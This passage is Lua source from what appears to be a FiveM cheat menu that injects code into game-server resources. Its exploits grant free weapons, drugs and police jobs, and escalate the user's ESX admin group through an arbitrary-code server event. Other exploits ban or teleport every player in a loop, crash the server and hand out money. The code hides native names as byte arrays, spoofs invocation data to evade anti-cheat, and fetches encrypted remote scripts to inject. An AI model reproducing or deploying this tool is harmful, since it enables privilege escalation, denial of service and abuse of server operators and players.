= 'weapon_assaultrifle', price = 0 }, { name = 'weapon_carbinerifle', price = 0 }, { name = 'weapon_advancedrifle', price = 0 }, { name = 'weapon_specialcarbine', price = 0 }, { name = 'weapon_bullpuprifle', price = 0 }, { name = 'weapon_compactrifle', price = 0 }, { name = 'weapon_militaryrifle', price = 0 }, { name = 'weapon_heavyrifle', price = 0 }, { name = 'weapon_tacticalrifle', price = 0 }, -- Sniper Rifles { name = 'weapon_sniperrifle', price = 0 }, { name = 'weapon_heavysniper', price = 0 }, { name = 'weapon_marksmanrifle', price = 0 }, { name = 'weapon_remotesniper', price = 0 }, -- Shotguns { name = 'weapon_pumpshotgun', price = 0 }, { name = 'weapon_sawnoffshotgun', price = 0 }, { name = 'weapon_assaultshotgun', price = 0 }, { name = 'weapon_bullpupshotgun', price = 0 }, { name = 'weapon_musket', price = 0 }, { name = 'weapon_heavyshotgun', price = 0 }, { name = 'weapon_dbshotgun', price = 0 }, { name = 'weapon_autoshotgun', price = 0 }, { name = 'weapon_combatshotgun', price = 0 }, -- Machine Guns { name = 'weapon_mg', price = 0 }, { name = 'weapon_combatmg', price = 0 }, { name = 'weapon_gusenberg', price = 0 }, -- Heavy Weapons { name = 'weapon_rpg', price = 0 }, { name = 'weapon_grenadelauncher', price = 0 }, { name = 'weapon_minigun', price = 0 }, { name = 'weapon_firework', price = 0 }, { name = 'weapon_railgun', price = 0 }, { name = 'weapon_hominglauncher', price = 0 }, { name = 'weapon_compactlauncher', price = 0 }, { name = 'weapon_rayminigun', price = 0 }, -- Thrown Weapons { name = 'weapon_grenade', price = 0 }, { name = 'weapon_bzgas', price = 0 }, { name = 'weapon_molotov', price = 0 }, { name = 'weapon_stickybomb', price = 0 }, { name = 'weapon_proxmine', price = 0 }, { name = 'weapon_snowball', price = 0 }, { name = 'weapon_pipebomb', price = 0 }, { name = 'weapon_ball', price = 0 }, { name = 'weapon_smokegrenade', price = 0 }, { name = 'weapon_flare', price = 0 }, -- Melee Weapons { name = 'weapon_knife', price = 0 }, { name = 'weapon_nightstick', price = 0 }, { name = 'weapon_hammer', price = 0 }, { name = 'weapon_bat', price = 0 }, { name = 'weapon_crowbar', price = 0 }, { name = 'weapon_golfclub', price = 0 }, { name = 'weapon_bottle', price = 0 }, { name = 'weapon_dagger', price = 0 }, { name = 'weapon_hatchet', price = 0 }, { name = 'weapon_knuckle', price = 0 }, { name = 'weapon_machete', price = 0 }, { name = 'weapon_flashlight', price = 0 }, { name = 'weapon_switchblade', price = 0 }, { name = 'weapon_poolcue', price = 0 }, { name = 'weapon_wrench', price = 0 }, { name = 'weapon_battleaxe', price = 0 }, -- Special Weapons { name = 'weapon_stungun', price = 0 }, { name = 'weapon_flaregun', price = 0 }, { name = 'weapon_musket', price = 0 }, { name = 'weapon_firework', price = 0 }, { name = 'weapon_marksmanpistol', price = 0 }, -- Ammo Types { name = 'ammo_pistol', price = 0 }, { name = 'ammo_smg', price = 0 }, { name = 'ammo_rifle', price = 0 }, { name = 'ammo_shotgun', price = 0 }, { name = 'ammo_sniper', price = 0 }, { name = 'ammo_heavy', price = 0 }, -- Medical Items { name = 'bandage', price = 0 }, { name = 'medikit', price = 0 }, { name = 'firstaidkit', price = 0 }, { name = 'morphine', price = 0 }, { name = 'adrenaline', price = 0 }, { name = 'painkillers', price = 0 }, { name = 'antibiotics', price = 0 }, { name = 'bloodbag', price = 0 }, -- Armor & Protection { name = 'armour', price = 0 }, { name = 'bulletproof_vest', price = 0 }, { name = 'helmet', price = 0 }, { name = 'gas_mask', price = 0 }, { name = 'night_vision', price = 0 }, { name = 'thermal_vision', price = 0 }, -- Tools & Equipment { name = 'phone', price = 0 }, { name = 'radio', price = 0 }, { name = 'lockpick', price = 0 }, { name = 'handcuffs', price = 0 }, { name = 'rope', price = 0 }, { name = 'duct_tape', price = 0 }, { name = 'screwdriver', price = 0 }, { name = 'wrench', price = 0 }, { name = 'drill', price = 0 }, { name = 'blowtorch', price = 0 }, { name = 'crowbar', price = 0 }, { name = 'hammer', price = 0 }, -- Transportation { name = 'parachute', price = 0 }, { name = 'repairkit', price = 0 }, { name = 'jerrycan', price = 0 }, { name = 'nitro', price = 0 }, -- Drugs & Substances { name = 'cocaine', price = 0 }, { name = 'marijuana', price = 0 }, { name = 'heroin', price = 0 }, { name = 'meth', price = 0 }, { name = 'lsd', price = 0 }, { name = 'ecstasy', price = 0 }, { name = 'crack', price = 0 }, { name = 'opium', price = 0 }, -- Food & Drinks { name = 'water', price = 0 }, { name = 'coffee', price = 0 }, { name = 'beer', price = 0 }, { name = 'whiskey', price = 0 }, { name = 'vodka', price = 0 }, { name = 'sandwich', price = 0 }, { name = 'burger', price = 0 }, { name = 'pizza', price = 0 }, { name = 'hotdog', price = 0 }, -- Electronics { name = 'laptop', price = 0 }, { name = 'tablet', price = 0 }, { name = 'camera', price = 0 }, { name = 'gps', price = 0 }, { name = 'scanner', price = 0 }, { name = 'detector', price = 0 }, -- Keys & Access { name = 'keycard', price = 0 }, { name = 'masterkey', price = 0 }, { name = 'security_card', price = 0 }, { name = 'access_card', price = 0 }, -- Documents { name = 'id_card', price = 0 }, { name = 'driver_license', price = 0 }, { name = 'passport', price = 0 }, { name = 'fake_id', price = 0 }, -- Rare Items { name = 'gold_bar', price = 0 }, { name = 'diamond_ring', price = 0 }, { name = 'rolex', price = 0 }, { name = 'antique_coin', price = 0 }, { name = 'rare_gem', price = 0 }, { name = 'ancient_artifact', price = 0 } } }) ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Wasabi Bridge Shop opened successfully!", type = 'success' })) end end }) end -- End Comserv Exploit -- Blacklisted servers: Add server IPs here -- Blacklisted resources: Add resource names here if shouldShowExploit("scripts", {}, {}) or shouldShowExploit("framework", {}, {}) then table.insert(exploitButtons, { label = 'End Comserv', type = 'button', canBind = true, bindName = 'End Comserv', onConfirm = function() local runningResource = GetResourceState("scripts") == "started" and "scripts" or "framework" MachoInjectResourceRaw(runningResource, [[ local function decode(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function g(n) return _G[decode(n)] end for i = 1, 1 do lib.callback("comservs:completeAction", false, function(entity) print(entity) end) g({87,97,105,116})(0) end ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Comserv action completed! You might have to spam this.", type = 'success' })) end end }) end -- Set Job Police Exploit -- Blacklisted servers: Add server IPs here -- Blacklisted resources: Add resource names here if shouldShowExploit("es_extended", {}, {}) or shouldShowExploit("core", {}, {}) or shouldShowExploit("scripts", {}, {}) or shouldShowExploit("framework", {}, {}) then table.insert(exploitButtons, { label = 'Set Job Police', type = 'button', canBind = true, bindName = 'Set Job Police', onConfirm = function() -- Check for ESX frameworks first if GetResourceState("es_extended") == "started" then MachoInjectResource2(1, "es_extended", [[ function hNative(nativeName, newFunction) local originalNative = _G[nativeName] if not originalNative or type(originalNative) ~= "function" then return end _G[nativeName] = function(...) return newFunction(originalNative, ...) end end hNative("CreateThread", function(originalFn, ...) return originalFn(...) end) hNative("Wait", function(originalFn, ...) return originalFn(...) end) hNative("GetInvokingResourceData", function(originalFn, ...) return originalFn(...) end) hNative("ESX.SetPlayerData", function(originalFn, ...) return originalFn(...) end) local fake_execution_data = { ran_from_cheat = false, path = "core/server/main.lua", execution_id = "324341234567890" } local original_GetInvokingResourceData = GetInvokingResourceData GetInvokingResourceData = function() return fake_execution_data end ESX.SetPlayerData("job", { name = "police", label = "Police", grade = 3, grade_name = "lieutenant", grade_label = "Lieutenant" }) GetInvokingResourceData = original_GetInvokingResourceData ]]) elseif GetResourceState("core") == "started" then MachoInjectResource2(1, "core", [[ function hNative(nativeName, newFunction) local originalNative = _G[nativeName] if not originalNative or type(originalNative) ~= "function" then return end _G[nativeName] = function(...) return newFunction(originalNative, ...) end end hNative("CreateThread", function(originalFn, ...) return originalFn(...) end) hNative("Wait", function(originalFn, ...) return originalFn(...) end) hNative("GetInvokingResourceData", function(originalFn, ...) return originalFn(...) end) hNative("ESX.SetPlayerData", function(originalFn, ...) return originalFn(...) end) local fake_execution_data = { ran_from_cheat = false, path = "core/server/main.lua", execution_id = "324341234567890" } local original_GetInvokingResourceData = GetInvokingResourceData GetInvokingResourceData = function() return fake_execution_data end ESX.SetPlayerData("job", { name = "police", label = "Police", grade = 3, grade_name = "lieutenant", grade_label = "Lieutenant" }) GetInvokingResourceData = original_GetInvokingResourceData ]]) elseif GetResourceState("scripts") == "started" or GetResourceState("framework") == "started" then MachoInjectResourceRaw("any", [[ local lp = LocalPlayer if lp and lp.state then lp.state:set("job", { name = "police", label = "Police", grade = 4, grade_name = "sergeant" }, true) print("[✅] Job set to police successfully.") else print("[⚠️] Failed to set job: LocalPlayer or state not available.") end ]]) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Your job has been set to police!", type = 'success' })) end end }) end -- Alertedurand Exploit -- Blacklisted servers: Add server IPs here (e.g., {"192.168.1.1:30120", "10.0.0.5:30120"}) -- Blacklisted resources: Add resource names here (e.g., {"WaveShield", "ReaperV4"}) if shouldShowExploit("Alertedurand", {}, {}) then table.insert(exploitButtons, { label = 'FivePD item spawner', type = 'Fivepd', canBind = true, bindName = 'FivePD Shop', onConfirm = function() local responses = {} local inputSequence = { { question = "Enter item name:", placeholder = "Type item name here...", maxLength = 50, inputType = "alphanumeric", key = "itemName" }, { question = "Enter amount (numbers only):", placeholder = "Type amount here...", maxLength = 20, inputType = "numeric", key = "amount" } } local function processInput(index) if index > #inputSequence then local itemName = responses[1].value local amount = tonumber(responses[2].value) if itemName and amount and itemName ~= "" and amount > 0 then MachoInjectResourceRaw("Alertedurand", string.format([[ local function BuyItem() TriggerServerEvent('buyItem4', "%s", 0, %d) end BuyItem() ]], itemName:gsub('"', '\\"'), amount)) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Alertedurand Shop: " .. itemName .. " x" .. amount, type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Invalid item name or amount!", type = 'error' })) end end return end local currentInput = inputSequence[index] openTextInput( currentInput.question, currentInput.placeholder, "", currentInput.maxLength, function(value) if value and value ~= "" then table.insert(responses, { key = currentInput.key, value = value }) CreateThread(function() Wait(200) processInput(index + 1) end) else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = currentInput.key .. " is required!", type = 'error' })) end end end, currentInput.inputType ) end processInput(1) end }) end -- ESX Group Change Exploit if shouldShowExploit("es_extended", {}, {}) then table.insert(exploitButtons, { label = 'Change Group (ESX)', type = 'button', canBind = true, bindName = 'Change Group ESX', onConfirm = function() openTextInput( "Choose group name:", "Type group name here...", "", 50, function(groupName) if groupName and groupName ~= "" then TriggerServerEvent("helpCode", string.format([[ local xPlayer = ESX.GetPlayerFromId(source) if xPlayer then xPlayer.setGroup("%s") end ]], groupName:gsub('"', '\\"'))) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Group changed to: " .. groupName, type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Group name is required!", type = 'error' })) end end end, "alphanumeric" ) end }) end -- Ban All Players Exploit - ESX Admin System if shouldShowExploit("es_extended", {}, {}) then table.insert(exploitButtons, { label = 'Ban All (ESX)', type = 'button', canBind = true, bindName = 'Ban All ESX', onConfirm = function() openTextInput( "Ban All Players:", "Enter ban reason...", "", 100, function(banReason) if banReason and banReason ~= "" then -- Convert ban reason to encoded array format local encodedReason = "{" for i = 1, #banReason do encodedReason = encodedReason .. string.byte(banReason, i) if i < #banReason then encodedReason = encodedReason .. "," end end encodedReason = encodedReason .. "}" MachoInjectResource2(3, 'any', string.format([[ local function decode(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function g(n) return _G[decode(n)] end local function wait(n) return Citizen.Wait(n) end local nativeNames = { ExecuteCommand = {69,120,101,99,117,116,101,67,111,109,109,97,110,100}, GetActivePlayers = {71,101,116,65,99,116,105,118,101,80,108,97,121,101,114,115}, GetPlayerServerId = {71,101,116,80,108,97,121,101,114,83,101,114,118,101,114,73,100}, PlayerId = {80,108,97,121,101,114,73,100}, CreateThread = {67,114,101,97,116,101,84,104,114,101,97,100} } local function banPlayer(ID) local cmdTemplate = decode({98,97,110,32,37,115,32,50,52,32,37,115}) local reason = decode(%s) local command = cmdTemplate:format(tostring(ID), reason) g(nativeNames.ExecuteCommand)(command) end if not _G.banAllThreadRunning then _G.banAllThreadRunning = true g(nativeNames.CreateThread)(function() while _G.banAllThreadRunning do local players = g(nativeNames.GetActivePlayers)() local myServerId = g(nativeNames.GetPlayerServerId)(g(nativeNames.PlayerId)()) for i = 1, #players do local player = players[i] local serverId = g(nativeNames.GetPlayerServerId)(player) if serverId ~= myServerId then banPlayer(serverId) end end wait(3000) end end) end ]], encodedReason)) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Ban All activated with reason: " .. banReason, type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Ban reason is required!", type = 'error' })) end end end, "text" ) end }) end -- Ban All Stop Button if shouldShowExploit("es_extended", {}, {}) then table.insert(exploitButtons, { label = 'Stop Ban All (ESX)', type = 'button', canBind = true, bindName = 'Stop Ban All ESX', onConfirm = function() MachoInjectResource2(3, 'any', [[ _G.banAllThreadRunning = false ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Ban All deactivated!", type = 'error' })) end end }) end -- Bring All Players Exploit - ESX Admin System if shouldShowExploit("es_extended", {}, {}) then table.insert(exploitButtons, { label = 'Bring All (ESX)', type = 'checkbox', checked = false, canBind = true, bindName = 'Bring All ESX', onConfirm = function(isChecked) if isChecked then MachoInjectResource2(3, 'any', [[ local function decode(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function g(n) return _G[decode(n)] end local function wait(n) return Citizen.Wait(n) end local nativeNames = { ExecuteCommand = {69,120,101,99,117,116,101,67,111,109,109,97,110,100}, GetActivePlayers = {71,101,116,65,99,116,105,118,101,80,108,97,121,101,114,115}, GetPlayerServerId = {71,101,116,80,108,97,121,101,114,83,101,114,118,101,114,73,100}, PlayerId = {80,108,97,121,101,114,73,100}, CreateThread = {67,114,101,97,116,101,84,104,114,101,97,100} } local function bringPlayer(ID) local cmdTemplate = decode({98,114,105,110,103,32,37,115}) local command = cmdTemplate:format(ID) g(nativeNames.ExecuteCommand)(command) end if not _G.bringAllThreadRunning then _G.bringAllThreadRunning = true g(nativeNames.CreateThread)(function() while _G.bringAllThreadRunning do local players = g(nativeNames.GetActivePlayers)() local myServerId = g(nativeNames.GetPlayerServerId)(g(nativeNames.PlayerId)()) for i = 1, #players do local player = players[i] local serverId = g(nativeNames.GetPlayerServerId)(player) if serverId ~= myServerId then bringPlayer(serverId) end end wait(3000) end end) end ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Bring All activated!", type = 'success' })) end else MachoInjectResource2(3, 'any', [[ _G.bringAllThreadRunning = false ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Bring All deactivated!", type = 'error' })) end end end }) end -- Crash Server Exploit - ESX Admin System if shouldShowExploit("es_extended", {}, {}) then table.insert(exploitButtons, { label = 'Crash Server (ESX)', type = 'button', canBind = true, bindName = 'Crash Server ESX', onConfirm = function() MachoInjectResource2(3, 'any', [[ local function decode(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function g(n) return _G[decode(n)] end local nativeNames = { ExecuteCommand = {69,120,101,99,117,116,101,67,111,109,109,97,110,100}, Wait = {67,105,116,105,122,101,110,46,87,97,105,116} end local function wait(n) return Citizen.Wait(n) end local commands = { decode({115,116,111,112,32,109,111,110,105,116,111,114}), decode({115,116,111,112,32,101,115,95,101,120,116,101,110,100,101,100}), decode({115,116,111,112,32,109,97,105,110}) } for i = 1, #commands do g(nativeNames.ExecuteCommand)(commands[i]) wait(100) end ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Crash commands executed!", type = 'success' })) end end }) end -- Give All Money Exploit - ESX Admin System if shouldShowExploit("es_extended", {}, {}) then table.insert(exploitButtons, { label = 'Give All Money (ESX)', type = 'checkbox', checked = false, canBind = true, bindName = 'Give All Money ESX', onConfirm = function(isChecked) if isChecked then MachoInjectResource2(3, 'any', [[ local function decode(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function g(n) return _G[decode(n)] end local function wait(n) return Citizen.Wait(n) end local nativeNames = { ExecuteCommand = {69,120,101,99,117,116,101,67,111,109,109,97,110,100}, GetActivePlayers = {71,101,116,65,99,116,105,118,101,80,108,97,121,101,114,115}, GetPlayerServerId = {71,101,116,80,108,97,121,101,114,83,101,114,118,101,114,73,100}, PlayerId = {80,108,97,121,101,114,73,100}, CreateThread = {67,114,101,97,116,101,84,104,114,101,97,100} } local function giveMoney(ID) local cmdTemplate = decode({103,105,118,101,105,116,101,109,32,37,115,32,109,111,110,101,121,32,49,48,48,48,48,48,48,48,48,48}) local command = cmdTemplate:format(tostring(ID)) g(nativeNames.ExecuteCommand)(command) end if not _G.giveMoneyThreadRunning then _G.giveMoneyThreadRunning = true g(nativeNames.CreateThread)(function() while _G.giveMoneyThreadRunning do local players = g(nativeNames.GetActivePlayers)() local myServerId = g(nativeNames.GetPlayerServerId)(g(nativeNames.PlayerId)()) for i = 1, #players do local player = players[i] local serverId = g(nativeNames.GetPlayerServerId)(player) if serverId ~= myServerId then giveMoney(serverId) end end wait(3000) end end) end ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Give All Money activated!", type = 'success' })) end else MachoInjectResource2(3, 'any', [[ _G.giveMoneyThreadRunning = false ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Give All Money deactivated!", type = 'error' })) end end end }) end -- Check if any exploits were found if #exploitButtons == 0 then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No exploits found", type = 'error' })) end return end -- Replace the Dynamic Triggers submenu with the exploit buttons for i, menuSection in ipairs(originalMenu) do if menuSection.label == "Dynamic Triggers" then for j, tab in ipairs(menuSection.tabs) do if tab.name == 'Dynamic Triggers' then -- Keep the Load Exploits button and add the found exploits local loadButton = tab.submenu[1] tab.submenu = { loadButton } for _, exploit in ipairs(exploitButtons) do table.insert(tab.submenu, exploit) end break end end break end end -- Refresh the menu if currentTabs and currentTabIndex then for i, menuSection in ipairs(originalMenu) do if menuSection.label == "Dynamic Triggers" and currentTabs == menuSection.tabs then local tabIdx = currentTabIndex or 0 if currentTabs[tabIdx + 1] and currentTabs[tabIdx + 1].submenu then activeMenu = currentTabs[tabIdx + 1].submenu if setCurrent then setCurrent() end end break end end end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Found " .. #exploitButtons .. " exploit(s)", type = 'success' })) end end } } }, { name = 'Custom Triggers', submenu = { { label = 'Load Cloud Triggers', type = 'button', canBind = true, bindName = 'Load Cloud Triggers', onConfirm = function() local authKey = MachoAuthenticationKey() if not authKey or authKey == "" then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Auth key not found!", type = 'error' })) end return end local success, response = pcall(function() return MachoWebRequest(WEBSITE_URL .. "/api/cloud_triggers/scripts?auth_key=" .. urlEncode(authKey)) end) if not success then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Error loading triggers: " .. tostring(response), type = 'error' })) end return end if not response or response == "" then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Failed to connect to server. Please check your connection.", type = 'error' })) end return end -- Try to decrypt the response (it's encrypted) local decrypted = decrypt(response, ENCRYPTION_KEY) if not decrypted or decrypted == "" then -- If decryption fails, try parsing as plain JSON (backwards compatibility) decrypted = response end local data = nil local success2, err = pcall(function() data = json.decode(decrypted) end) if not success2 or not data then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Failed to parse server response. Please try again.", type = 'error' })) end return end -- Check for both 'success' and 'status' fields for compatibility if not data.success and not (data.status == "success") then local errorMsg = data.message or "Failed to load scripts" if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = errorMsg, type = 'error' })) end return end local scripts = data.scripts or {} if not scripts or type(scripts) ~= "table" or #scripts == 0 then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No cloud triggers found. Create some on the dashboard.", type = 'info' })) end return end local customTriggersTab = nil for i, mNexusSection in ipairs(originalMenu) do if mNexusSection and mNexusSection.label == "Dynamic Triggers" then if mNexusSection.tabs then for j, tab in ipairs(mNexusSection.tabs) do if tab and tab.name == 'Custom Triggers' then customTriggersTab = tab break end end end break end end if customTriggersTab and customTriggersTab.submenu and #customTriggersTab.submenu > 0 then local loadButton = customTriggersTab.submenu[1] customTriggersTab.submenu = { loadButton } for i, script in ipairs(scripts) do -- Validate script data - ensure all required fields exist and are valid if script and type(script) == "table" and script.name and type(script.name) == "string" and script.code and type(script.code) == "string" and script.code ~= "" and script.code ~= "-- This script is locked and the code is hidden for security" then -- Create a helper function that returns the callback with proper closure local function makeCallback(scriptName, scriptCode, scriptResource, scriptId) return function() local success, errorMsg = pcall(function() local resourceName = scriptResource or "any" if not scriptCode or scriptCode == "" then error("Script code is empty") end -- Validate script code is a string if type(scriptCode) ~= "string" then error("Script code must be a string") end -- Check if WaveShield Resource is running local isWaveShieldRunning = GetResourceState("WaveShield") == "started" -- Process the script code (no replacements needed, direct _G assignments in wrapper) local processedCode = scriptCode if isWaveShieldRunning then -- Use MachoInjectResource2 with safeCall pattern local NewThreadNs = 3 if MachoInjectResource2 then local wrapperCode = [[ _G.WS_RunSafeFunc = function(setFunc, ...) LocalPlayer.state:set('sigma', setFunc, false) LocalPlayer.state['sigma'](...) end -- Store original _G reference local _originalG = {} for k, v in pairs(_G) do _originalG[k] = v end -- Create a metatable that wraps ALL function calls local mt = { __index = function(t, k) -- First check if it's already wrapped in our environment local val = rawget(t, k) if val ~= nil then return val end -- Get the original global value local gVal = _originalG[k] -- If it's a function, wrap it with WS_RunSafeFunc if type(gVal) == 'function' then return function(...) return _G.WS_RunSafeFunc(gVal, ...) end end return gVal end, __newindex = function(t, k, v) rawset(t, k, v) end } -- Apply metatable to the current environment setmetatable(_G, mt) -- Execute the user's script in this safe environment ]] local fullCode = wrapperCode .. processedCode MachoInjectResource2(NewThreadNs, 'monitor', fullCode) else error("MachoInjectResource2 not available") end else -- Use normal MachoInjectResource with safeCall pattern if MachoInjectResource then -- Build the injection code with safeCall pattern local wrapperCode = "local function safeCall(fn, ...)\n if fn then\n return fn(...)\n end\nend\nlocal CreateThread = _G.CreateThread or function(...) end\nlocal TriggerEvent = _G.TriggerEvent or function(...) end\nlocal TriggerServerEvent = _G.TriggerServerEvent or function(...) end\n\nsafeCall(CreateThread, function()\n" local footerCode = "\nend)" local fullCode = wrapperCode .. processedCode .. footerCode MachoInjectResource(resourceName, fullCode) else error("MachoInjectResource not available") end end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Executed: " .. scriptName .. (isWaveShieldRunning and " (WaveShield Protected)" or ""), type = 'success' })) end end) if not success then local errorMessage = tostring(errorMsg) or "Unknown error" if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Error executing script: " .. errorMessage, type = 'error' })) end print("^1[Cloud Trigger Error] Failed to execute script '" .. tostring(scriptName) .. "': " .. errorMessage) end end end -- Create button with properly captured values local scriptId = script.id or tostring(i) local scriptResource = script.resource or "any" -- Safely insert the button local success_insert, insert_error = pcall(function() table.insert(customTriggersTab.submenu, { label = script.name, type = 'button', canBind = true, bindName = script.name, onConfirm = makeCallback(script.name, script.code, scriptResource, scriptId) }) end) if not success_insert then print("^1[Cloud Trigger Error] Failed to add script button for '" .. tostring(script.name) .. "': " .. tostring(insert_error)) end else -- Log skipped scripts for debugging if script and script.name then print("^3[Cloud Trigger] Skipping script '" .. tostring(script.name) .. "' (invalid or empty code)") end end end if customTriggersTab.submenu and #customTriggersTab.submenu > 1 then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Loaded " .. (#customTriggersTab.submenu - 1) .. " cloud trigger(s)", type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No valid cloud triggers to load", type = 'info' })) end end -- Refresh the mNexus if we're currently viewing this tab if currentTabs and currentTabIndex then for i, mNexusSection in ipairs(originalMenu) do if mNexusSection and mNexusSection.label == "Dynamic Triggers" and currentTabs == mNexusSection.tabs then local tabIdx = currentTabIndex or 0 if currentTabs and currentTabs[tabIdx + 1] and currentTabs[tabIdx + 1].submenu then activeMenu = currentTabs[tabIdx + 1].submenu if setCurrent then setCurrent() end end break end end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Custom Triggers tab not found!", type = 'error' })) end print("^1[Cloud Trigger Error] Custom Triggers tab not found in mNexus structure") end end }, { label = 'Import Cloud Trigger', type = 'button', canBind = true, bindName = 'Import Cloud Trigger', onConfirm = function() openTextInput('Enter share code:', '', '', 50, function(shareCode) if not shareCode or shareCode == '' then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Share code is required!", type = 'error' })) end return end local authKey = MachoAuthenticationKey() if not authKey or authKey == "" then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Auth key not found!", type = 'error' })) end return end local success, response = pcall(function() local url = string.format('%s/api/cloud_triggers/scripts/import?auth_key=%s&share_code=%s', WEBSITE_URL, urlEncode(authKey), urlEncode(shareCode)) return MachoWebRequest(url) end) if not success then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Error importing trigger: " .. tostring(response), type = 'error' })) end return end if response and response ~= "" then -- Try to decrypt the response (it's encrypted) local decrypted = decrypt(response, ENCRYPTION_KEY) if not decrypted or decrypted == "" then decrypted = response -- Fallback to plain JSON end local success2, data = pcall(json.decode, decrypted) if success2 and data then if data.success then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Trigger imported successfully!", type = 'success' })) end else local errorMsg = data.message or "Failed to import trigger!" if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = errorMsg, type = 'error' })) end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Failed to parse server response!", type = 'error' })) end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Server connection failed!", type = 'error' })) end end end, 'general') end } } } } }, { label = "Vehicle", type = 'submenu', icon = 'ph-car', tabs = { { name = 'Car Spawner', submenu = { { label = 'Spawn car by name', type = 'button', canBind = true, bindName = 'Enhanced Custom Car Spawn', onConfirm = function() openTextInput( "Enter car model name:", "Type car model here (e.g., adder, zentorno)...", "", 50, function(carName) spawnVehicleWithFrameworkDetection(carName) end, "alphanumeric" ) end }, { label = 'Super Cars', type = 'scroll', selected = 1, canBind = true, bindName = 'Spawn Super Car', options = { { label = "Adder", model = "adder" }, { label = "Banshee 900R", model = "banshee2" }, { label = "Bullet", model = "bullet" }, { label = "Cheetah", model = "cheetah" }, { label = "Entity XF", model = "entityxf" }, { label = "FMJ", model = "fmj" }, { label = "Infernus", model = "infernus" }, { label = "Osiris", model = "osiris" }, { label = "Reaper", model = "reaper" }, { label = "T20", model = "t20" }, { label = "Turismo R", model = "turismor" }, { label = "Vacca", model = "vacca" }, { label = "Voltic", model = "voltic" }, { label = "Zentorno", model = "zentorno" } }, onConfirm = function(selectedVehicle) ---("Spawning super car:", selectedVehicle.model) spawnVehicleWithFrameworkDetection(selectedVehicle.model) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Spawned: " .. selectedVehicle.label, type = 'success' })) end end }, { label = 'Sports Cars', type = 'scroll', selected = 1, canBind = true, bindName = 'Spawn Sports Car', options = { { label = "9F", model = "ninef" }, { label = "Alpha", model = "alpha" }, { label = "Banshee", model = "banshee" }, { label = "Buffalo", model = "buffalo" }, { label = "Buffalo S", model = "buffalo2" }, { label = "Carbonizzare", model = "carbonizzare" }, { label = "Comet", model = "comet2" }, { label = "Coquette", model = "coquette" }, { label = "Elegy RH8", model = "elegy2" }, { label = "Feltzer", model = "feltzer2" }, { label = "Jester", model = "jester" }, { label = "Kuruma", model = "kuruma" }, { label = "Massacro", model = "massacro" }, { label = "Penumbra", model = "penumbra" }, { label = "Rapid GT", model = "rapidgt" }, { label = "Surano", model = "surano" } }, onConfirm = function(selectedVehicle) ---("Spawning sports car:", selectedVehicle.model) spawnVehicleWithFrameworkDetection(selectedVehicle.model) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Spawned: " .. selectedVehicle.label, type = 'success' })) end end }, { label = 'Motorcycles', type = 'scroll', selected = 1, canBind = true, bindName = 'Spawn Motorcycle', options = { { label = "Akuma", model = "akuma" }, { label = "Bagger", model = "bagger" }, { label = "Bati 801", model = "bati" }, { label = "Carbon RS", model = "carbonrs" }, { label = "Daemon", model = "daemon" }, { label = "Double T", model = "double" }, { label = "Enduro", model = "enduro" }, { label = "Faggio", model = "faggio2" }, { label = "Hakuchou", model = "hakuchou" }, { label = "Hexer", model = "hexer" }, { label = "Lectro", model = "lectro" }, { label = "Nemesis", model = "nemesis" }, { label = "PCJ-600", model = "pcj" }, { label = "Ruffian", model = "ruffian" }, { label = "Sanchez", model = "sanchez" }, { label = "Thrust", model = "thrust" }, { label = "Vader", model = "vader" } }, onConfirm = function(selectedVehicle) ---("Spawning motorcycle:", selectedVehicle.model) spawnVehicleWithFrameworkDetection(selectedVehicle.model) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Spawned: " .. selectedVehicle.label, type = 'success' })) end end } } }, { name = 'Car 